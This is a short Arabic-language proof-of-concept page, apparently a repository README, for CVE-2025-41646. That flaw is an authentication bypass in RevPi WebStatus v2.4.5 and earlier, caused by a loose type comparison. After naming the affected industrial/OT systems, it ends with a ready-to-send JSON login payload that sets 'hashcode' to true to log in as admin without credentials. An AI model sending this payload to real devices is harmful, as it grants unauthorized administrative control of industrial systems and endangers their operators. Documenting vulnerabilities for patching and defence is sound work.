CVE-2025-41646---تجاوز-المصادقة-الحرج-

CVE-2025-41646 - تجاوز المصادقة الحرج

🔓 CVE-2025-41646 - إثبات المفهوم (PoC) لتجاوز المصادقة في RevPi WebStatus

ثغرة حرجة لتجاوز المصادقة (CVE-2025-41646) في RevPi WebStatus الإصدار v2.4.5 وما دون تسمح للمهاجم بتسجيل الدخول كـ admin دون بيانات اعتماد صالحة بسبب ضعف منطق المقارنة بين الأنواع (استخدام == بدلاً من ===).

📌 الأنظمة المتأثرة

• RevPi WebStatus الإصدار v2.4.5 وما دون
• الأنظمة الصناعية/OT التي تعمل على Raspbian مع Apache

💥 الاستغلال

أرسل طلب تسجيل الدخول التالي:

{
  "mode": "LOGIN",
  "username": "admin",
  "hashcode": true
}